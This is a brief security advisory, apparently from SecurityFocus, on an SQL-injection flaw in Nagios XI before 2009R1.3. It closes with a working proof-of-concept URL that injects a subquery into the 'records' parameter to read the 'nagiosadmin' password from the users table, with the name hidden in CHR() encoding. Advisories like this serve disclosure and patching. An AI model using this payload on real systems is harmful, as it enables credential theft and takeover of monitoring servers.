source: https://www.securityfocus.com/bid/42661/info

Nagios XI is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Versions prior to Nagios XI 2009R1.3 are vulnerable. 

http://www.example.com/nagiosxi/admin/users.php?records=int8((select > password from xi_users where username= > CHR(110)||CHR(97)||CHR(103)||CHR(105)||CHR(111)||CHR(115)||CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)))&sortby=username&sortorder=asc&search=&page=1